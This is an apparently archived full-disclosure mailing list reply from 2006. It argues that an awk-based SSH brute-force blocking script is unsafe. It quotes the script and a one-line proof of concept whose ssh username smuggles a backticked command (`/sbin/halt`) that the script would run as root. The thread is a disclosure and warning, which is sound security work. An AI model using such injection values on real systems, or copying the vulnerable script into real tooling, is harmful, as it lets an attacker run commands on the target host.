full-disclosure - Re: SSH brute force blocking tool

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Message-ID: <20061127205937.GA1341@uriel.eclipsed.net>
Date: Mon, 27 Nov 2006 15:59:37 -0500
From: gabriel rosenkoetter <gr@...ipsed.net>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: SSH brute force blocking tool

On Mon, Nov 27, 2006 at 03:51:39PM -0500, J. Oquendo wrote:
> Since you seem to be clueless I'll answer step by step. Here goes idiot. 
> (Sinful to see someone so clueless coming from Gentoo... Guess it goes 
> with the romper room Linux territory)

Uh... actually, no. The provided exploit Will work, and you're the
idiot.

Here, let me show you.

You do this:

> /////
> awk '/error retrieving/{getline;print $13}' /var/log/secure|sort -ru >> 
> /tmp/hosts.deny
> diff /etc/hosts.deny /tmp/hosts.deny | awk '/\./ && />/{print $2}' >> 
> /etc/hosts.deny
> /////
> 
> There is no hocus pocus here. Look at /var/log/secure and fine the term
> "error retrieving" and print the next line, 13th column. Then sort it and
> print the unique entries into /tmp/hosts.deny. After you do this, compare
> /tmp/hosts.deny with /etc/hosts.deny and put the differences not in 
> /etc/hosts.deny
> into /etc/hosts.deny

What will be in column 13 when Tavis does this:

> Tavis Ormandy wrote:
> >Here's an exploit.
> >
> >#!/bin/sh
> >ssh 'foo bar `/sbin/halt`'@...tim

Why, the shelled-out output of `/sbin/halt`!

Or, hey, anything he or I care to put inside backticks. You'll
execute it blindly, as root, on your system.

Kids, don't use this script. Please.

-- 
gabriel rosenkoetter
gr@...ipsed.net

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